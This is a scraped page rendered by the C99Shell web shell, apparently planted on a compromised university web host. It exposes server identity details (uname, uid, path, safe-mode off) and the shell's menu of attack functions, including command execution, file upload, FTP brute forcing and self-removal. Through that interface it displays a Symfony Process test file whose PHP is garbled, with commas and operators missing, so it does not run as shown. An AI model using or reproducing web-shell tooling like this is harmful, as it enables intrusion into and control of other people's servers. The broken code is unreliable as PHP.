!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/process/Tests/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PipeStdinInStdoutStdErrStreamSelect.php (1.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

define('ERR_SELECT_FAILED'1);
define('ERR_TIMEOUT'2);
define('ERR_READ_FAILED'3);
define('ERR_WRITE_FAILED'4);

$read = array(STDIN);
$write = array(STDOUTSTDERR);

stream_set_blocking(STDIN0);
stream_set_blocking(STDOUT0);
stream_set_blocking(STDERR0);

$out $err '';
while (
$read || $write) {
    
$r $read;
    
$w $write;
    
$e null;
    
$n stream_select($r$w$e5);

    if (
false === $n) {
        die(
ERR_SELECT_FAILED);
    } elseif (
$n 1) {
        die(
ERR_TIMEOUT);
    }

    if (
in_array(STDOUT$w) && strlen($out) > 0) {
        
$written fwrite(STDOUT, (binary) $out32768);
        if (
false === $written) {
            die(
ERR_WRITE_FAILED);
        }
        
$out = (binary) substr($out$written);
    }
    if (
null === $read && '' === $out) {
        
$write array_diff($write, array(STDOUT));
    }

    if (
in_array(STDERR$w) && strlen($err) > 0) {
        
$written fwrite(STDERR, (binary) $err32768);
        if (
false === $written) {
            die(
ERR_WRITE_FAILED);
        }
        
$err = (binary) substr($err$written);
    }
    if (
null === $read && '' === $err) {
        
$write array_diff($write, array(STDERR));
    }

    if (
$r) {
        
$str fread(STDIN32768);
        if (
false !== $str) {
            
$out .= $str;
            
$err .= $str;
        }
        if (
false === $str || feof(STDIN)) {
            
$read null;
            if (!
feof(STDIN)) {
                die(
ERR_READ_FAILED);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0115 ]--